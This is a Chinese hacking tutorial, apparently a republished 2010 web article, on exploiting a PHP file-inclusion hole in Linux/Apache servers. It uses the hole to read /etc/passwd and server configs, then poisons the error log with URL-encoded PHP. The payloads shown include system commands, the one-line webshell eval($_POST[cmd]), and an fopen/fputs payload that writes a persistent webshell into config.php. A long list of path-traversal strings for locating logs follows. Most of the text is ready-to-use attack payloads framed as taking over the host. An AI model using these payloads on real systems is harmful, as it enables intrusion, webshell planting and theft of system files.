黑客渗透linux下载备份取shell
发布时间：2010/8/20 10:35:23 来源：城市学习网 编辑：ziteng
这种办法最大的弊端是Apache日志肯定会过大，回应的时候当然会超时什么的，所以也是受条件限制的。全当一种研究算了。下面是我的测试过程，我觉得很有意思，你也看看。
比如说，在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句
以下是引用片段：
<? include($zizzy); ?> //包含变量$zizzy
你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd
就可以利用包含语句来查看一些系统环境和密码档文件。
那么关于日志包含下面我们来看：
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf，来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf
读出Apache的配置信息，这里列出部分信息。
<VirtualHost 218.63.89.2>
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
</VirtualHost>
而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
就可以读出Apache的错误日志记录
[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php [NextPage] [Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk
而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的，一样可以读出来，只不过文件会很大，那也没意思测试下去了，那怎么利用呢。
比如我们提交要提交这句，<?phpinfo();?> //查看php的相关信息
在这里，我们只能提交URL编码模式，因为我在测试中发现，<?的标记并不被记录，只有转换成URL编码提交才会被完整记录。
在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>，我们提交
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E
这样肯定会报出错找不到页面，而一出错就被记在错误日志里了
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。
如果可以的话（能够执行系统命令，也就是safe_mode开着的时候），
这样子也不错，
<?system("ls+-la+/home");?> //执行命令列出home下的文件列表，记得转换为URL格式哦。
/home/
total 9
-rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php
drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc
-rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php
-rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php
-rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php
-rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3
-rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt
drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup
-rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php
这样就列出了home下的文件
或者直接一句话木马<?eval($_POST[cmd]);?>，
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。
我们提交
http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 [NextPage] 比如还是这句一句话木马
<?eval($_POST[cmd]);?>
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?> //在config.php里写入一句木马语句
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
其他的日志路径，你可以去猜，也可以参照这里。
附：收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log [NextPage]
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
